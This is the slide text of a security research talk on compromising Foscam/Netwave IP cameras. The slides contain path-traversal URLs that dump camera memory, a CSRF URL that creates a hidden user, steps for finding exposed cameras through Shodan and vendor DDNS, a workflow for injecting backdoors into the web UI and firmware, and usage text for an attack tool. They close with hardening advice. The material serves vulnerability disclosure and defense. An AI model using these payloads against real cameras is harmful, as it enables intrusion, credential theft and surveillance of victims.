To Watch Or To Be Watched

Turning your surveillance camera against you

Sergey Shekyan
Artem Harutyunyan
Qualys, Inc.
Which one?

Google search for "indoor wireless IP camera" showing Amazon results for Foscam Wi-Fi indoor IP Camera, reviews from Best Buy, and a detailed product description from Foscam.

- Amazon.com: F18918W FOSCAM wifi wireless indoor IP Camera, 2 ...
- Foscam - Indoor Wireless IP Camera - Best Buy - customer reviews
- Foscam Indoor Wireless IP Camera Fl8910W - Best Buy

Motion detection alert via email or upload image to FTP, Image Sensor? 1/4" Color CMOS Sensor? Display Resolution? 640 x 480 Pixels (300k Pixels)? Lens? f: ...
What can it do?

“Enjoy the convenience and peace of mind knowing that your loved ones and personal belongings are safe and out of harm's way. **Stream live video and audio directly to your PC** (Windows & Mac), Smartphone (Iphone/Android/Blackberry) or Tablet PC (Ipad/Android/Windows 8).”

“Get instant notifications via email/ftp whenever motion is detected. Record snapshots when anyone enters or exits your driveway, backyard, home or business.”

“Foscam is designed to work right of the box - simply **connect the camera to your wireless network, setup port-forwarding** and away you go. Once properly configured, the camera operates independently without the need for any computer.”

*Text from product description on amazon.com*
Camera (Foscam FI8910W)

Camera is built on Winbond W90N745 board (32bit ARM7TDMI)

- Runs uClinux (based on 2.4 Linux kernel)
- Board Support Package is available from the board vendor

Image from http://www.computersolutions.cn/blog/
Component overview
Software components

System

Web UI

Settings
System firmware

Custom binary file to store compressed kernel and ROMFS image, ~ 1.8Mb

header: magic, size of linux.bin, size of romfs.img

linux.bin and romfs.img

romfs.img contains ‘camera’ binary and uClinux boot scripts
PK\003\004 Zip magic number
romfs.img

http://lxr.linux.no/linux/Documentation/filesystems/romfs.txt
WebUI Firmware

Custom binary file format to store static content to be served by embedded web server, ~100Kb

header: magic, checksum, file size, version)

for each file: length of file name, file name, type (dir|file), length of file, file
WebUI Firmware

Sum of all bytes starting 0xC

Thursday, April 11, 13
Settings section

Fixed size 5Kb data structure to store camera configuration

header: magic, checksum, camera id, system firmware version, webUI version, camera alias

user/password, network settings, wifi, e-mail, ftp, MSN credentials
Where are vulns?
Auth bypass/privilege escalation

CVE-2013-2560 by Arnaud Calmejane and Frederic Basse – allows to dump the entire memory, with no credentials

http://cameraurl//proc/kcore

http://cameraurl/../proc/kcore

http://cameraurl/spanish/../../../proc/kcore

http://operator_usr:operator_pwd@camera/decoder_control.cgi?command=1&next_url=/proc/kcore
kcore

102972 01923b0: 353a 3264 3762 0d5f 6170 706c 652d 6d6f
102973 01923c0: 6264 6576 045f 7463 7005 6c6f 6361 6c00
102974 01923d0: 00ff 0001 0a53 6c6f 7768 616d 6d65 72c0

... bdev._tcp.local.

5:2d7b._apple-mo ...

102979 0192470: 3604 6172 7061 0000 0c80 0100 0000 7800

6.arpa........x.

102980 0192480: 02c0 a202 3133 0131 0130 0231 3007 696e

...13.1.0.10.in

-agrr.......

103040 01927f0: 616d 5761 0000 0c80 0100 0000 7800

agicBox product=

103041 0192800: 2842 726f 7468 6572 2048 4c2d 3231 3430

(Brother HL-2140

103042 0192810: 2073 6572 6965 7329 2372 703d 4272 6f74

series)#rp=Brot

103043 0192820: 6865 7220 489a 2d32 3134 3020 7365 7269

er HL-2140 seri

103044 0192830: 6573 2048 394a 3730 3833 3638 2370 646c

es H9J708368#pdl
CSRF

http://cameraurl/set_users.cgi?
user1=&pwd1=&pri1=2&user2=&pwd2=&
pri2=&user3=&pwd3=&pri3=&user4=&pwd4=&pri4=&user5=&pwd5=&pri5=&user6=&pwd6=&pri6=&user7=&pwd7=&pri7=&user8=csrf&pwd8=csrf&next_url=http://www.google.com
Getting a camera ...

... In the wild

~2 out of 10 cameras brought by Shodan (www.shodanhq.com) will authenticate you with ‘admin’ without password

The vast majority of cameras have firmware vulnerable to path traversal vulnerability that allows authentication bypass

Login bruteforce of server basic authentication (so 90s, but THC Hydra does a great job)

... Targeted

Targeted CSRF attacks will always work until they redesign authentication

Clickjacking
Got access. Now what?
What can you do?

Grab video stream, email, ftp, MSN, wifi credentials

It’s a Linux box on the Internet

  Run arbitrary software (think botnet, proxies, scanners)

  Host malware

It’s a Linux box on the intranet too!

Attack victim’s browser (think BeEF)
Cameras in the wild

**Services**

HTTP 83,894
HTTP Alternate 16,565
Oracle iSQL Plus 408
Synology 358
Oracle iSQL Plus 90

**Top Countries**

United States 16,293
Germany 15,898
France 13,289

**Top Cities**

Central District 2,230
Beijing 1,242
Paris 891

*Source: www.shodanhq.com (search for ‘Netwave IP Camera’)*
DDNS can help too

Camera vendors provide DDNS service

- Foscam - XX####.myfoscam.org (e.g. aa1234.myfoscam.org)
- EasyN - XXXX.ipcam.hk (e.g. aaaa.ipcam.hk)
- Apexis - X#####.aipcam.com (e.g. a1234.aipcam.com)
- Wansview - ###XXXX.nwsvr1.com (e.g. a123aaaa.nwsvr1.com)
- Insteon - X#####.nwsvr1.com (e.g. a12345.myipcamera.com)

*.myfoscam.org

- ~141000 valid IPs
- ~41000 responded to ping
- ~7200 had a web server running on port 80
- ~2600 responded with ‘Server: Netwave IP Camera’
DEMO

Create a backdoor

Add a hidden user to the camera

Add hook to victim’s browser

Host a proxy on the camera (inject new code)
Altering Camera Web UI: adding a hook to victim’s browser

- Figure out version of the Web UI *(CGI API)*
- Find the Web UI of the same version *(internets)*
- Unpack *(uiextract)*
- Add new code *(patch)*
- Pack everything back *(uiunpack)*
- Verify *(uiextract)*
- Push back to the camera *(CGI API)*
- Cleanup the log *(CGI API)*

*github.com/artemharutyunyan/getmecamtool*
Altering the camera firmware: silently slipping a new code

- Figure out version of the firmware (CGI API)
- Find the firmware of the same version (internets)
- Unpack the firmware (sysextract)
- Add new code (prepare and cross-compile)
- Pack everything back (mount, cp, genromfs, syspack)
- Verify (sysextract)
- Push back to the camera (CGI API)
- Cleanup the log (CGI API)

[GitHub link](https://github.com/artemharutyunyan/getmecamtool)
Use Case: a proxy

```
GET / HTTP/1.1
Host: ar1234.myfoscam.org
```

```
CONNECT: www.google.com:443
GET / HTTP/1.1
```

```
if(knows_im_a_proxy)
    tunnel_the_connection();
else
    connect_to_the_camera();
```

NAT
port 80

Internets
Demo doing all of the above with a single command

$ ./getmecamtool -h
A script for demonstrating the work of camtool utilities
Usage: ./getmecamtool -c <cmd> [OPTIONS]
OPTIONS:
- c <cmd> command (available commands are inject_exec inject_proxy poison_webui)
- a <addr> address of the camera
- u <username> username for accessing the camera
- p <password> password for accessing the camera
- e <exec> path to executable file for injecting to the camera
- k <args> arguments with which the executable has to run
- s <path> path to system firmware library folder
- i <inject username> username to create on the camera
- l <inject password> password for the new username
- w <webui patch> absolute path to the Web UI patch file
- o <new port> new port the camera firmware should listen on
- h display this message

$
DoS

Accepts ~80 concurrent HTTP connections

Takes seconds to get DoS

Camera logs authenticated requests, so no traces on the camera

Use slowhttptest to simulate Application Layer DoS attacks!
Making it (less in)secure

Ideally, do not expose the camera to outside network.

However, if you absolutely have to, then ...

Use firewall/IPS with strict rules
  Define authorized IPs (fail2ban)
  Protect against bruteforce (throttle down connection rate)

Use reverse proxy
  HTTPS transport
  Override response headers

Isolate the camera from the internal network
Summary for

Hackers

You just learned something
... and got a toolkit for trying things out

Admins

Slowly start watching for traffic coming from “Netwave IP Camera”

Users

Be careful exposing it
Q&A

@sshekyan

@hartem
References

- http://www.openipcam.com/
- http://sourceforge.net/projects/foscam-util/
- http://www.computersolutions.cn/blog/